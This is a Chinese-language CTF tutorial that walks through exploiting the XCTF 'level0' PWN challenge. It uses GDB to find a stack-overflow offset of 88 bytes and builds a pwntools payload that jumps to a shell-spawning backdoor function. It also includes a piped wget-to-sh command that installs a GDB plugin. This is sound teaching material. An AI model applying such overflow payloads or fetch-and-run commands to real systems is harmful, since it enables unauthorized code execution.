别光看WriteUp了手把手教你用GDB动态调试攻防世界PWN题以level0为例在CTF竞赛中PWN题往往是最能体现技术实力的环节。许多初学者习惯直接阅读现成的WriteUp却忽略了动态调试这一核心技能。本文将以攻防世界新手区的经典题目level0为例带你亲历从漏洞发现到利用的全过程重点演示如何用GDB在运行时观察内存状态变化。1. 环境准备与初步分析首先下载题目提供的level0二进制文件使用checksec检查防护机制checksec --filelevel0输出结果通常显示Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键信息NX enabled栈不可执行意味着不能直接注入shellcodeNo canary栈溢出时不会触发栈保护检测No PIE程序加载地址固定便于计算偏移量用IDA Pro快速静态分析发现vulnerable_function中存在明显的栈溢出漏洞ssize_t vulnerable_function() { char buf[80]; // 0x50字节的缓冲区 return read(0, buf, 200); // 允许读取200字节 }2. GDB调试基础配置安装增强型GDB插件GEF或Pwndbg它们提供了更直观的内存显示功能wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh启动调试环境gdb -q ./level0在GDB中设置以下实用参数set disassembly-flavor intel # 使用Intel汇编语法 set follow-fork-mode child # 跟踪子进程 break *vulnerable_function # 在漏洞函数入口下断点3. 关键断点设置与栈帧观察运行程序并在关键位置设置断点break *vulnerable_function25 # read函数调用前 break *vulnerable_function30 # read函数返回后 commands 2 # 第二个断点的自动命令 x/40gx $rsp # 显示栈内容 info frame # 查看栈帧信息 continue end当程序执行到read函数时观察栈布局0x7fffffffe4a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4e0: 0x0000000000000000 0x00007fffffffe500注意缓冲区起始地址0x7fffffffe4a0保存的RBP值0x7fffffffe500返回地址位置0x7fffffffe4e84. 构造payload与溢出验证计算精确偏移量缓冲区地址0x7fffffffe4a0 返回地址位置0x7fffffffe4e8 偏移量 0xe8 - 0xa0 8 80 8 88字节使用cyclic模式生成测试字符串pattern create 200输入生成的字符串后程序崩溃时观察寄存器Program received signal SIGSEGV, Segmentation fault. RIP: 0x6161616161616166通过pattern offset计算pattern offset 0x6161616161616166 Exact match at offset 885. 动态跟踪执行流劫持在IDA中确认后门函数地址void callsystem() { system(/bin/sh); } // 地址0x400596构造payload并调试from pwn import * payload bA*88 p64(0x400596)在GDB中实时验证run $(python -c print A*88 \x96\x05\x40\x00\x00\x00\x00\x00)观察关键节点read返回后栈数据变化函数返回时RIP寄存器值变为0x400596成功跳转到callsystem函数6. 常见问题排错指南Segmentation Fault可能原因偏移量计算错误需重新测量栈帧地址未对齐x64需16字节对齐权限问题检查NX是否影响GDB调试技巧# 查看内存映射 vmmap # 跟踪系统调用 catch syscall execve # 观察寄存器变化 telescope $rsp 20EXP优化建议# 使用pwntools自动化 io process(./level0) payload flat({ 88: p64(0x400596) }) io.sendline(payload) io.interactive()7. 拓展其他调试场景应用场景1ASLR环境下调试# 先泄漏地址 break *vulnerable_function continue info proc mappings # 计算实际偏移场景2有Canary保护时# 在函数入口处记录Canary值 x/gx $rbp-0x8 # 构造payload时保持该值不变场景3ROP链构造验证# 单步跟踪每个gadget stepi # 观察栈指针变化 print $rsp掌握GDB动态调试技术后面对复杂PWN题时不再需要盲目尝试。通过实时观察内存状态、验证漏洞假设你能真正理解二进制漏洞的本质原理。记住好的漏洞利用就像外科手术——精确计算每个字节的作用这正是动态调试赋予我们的X光透视能力。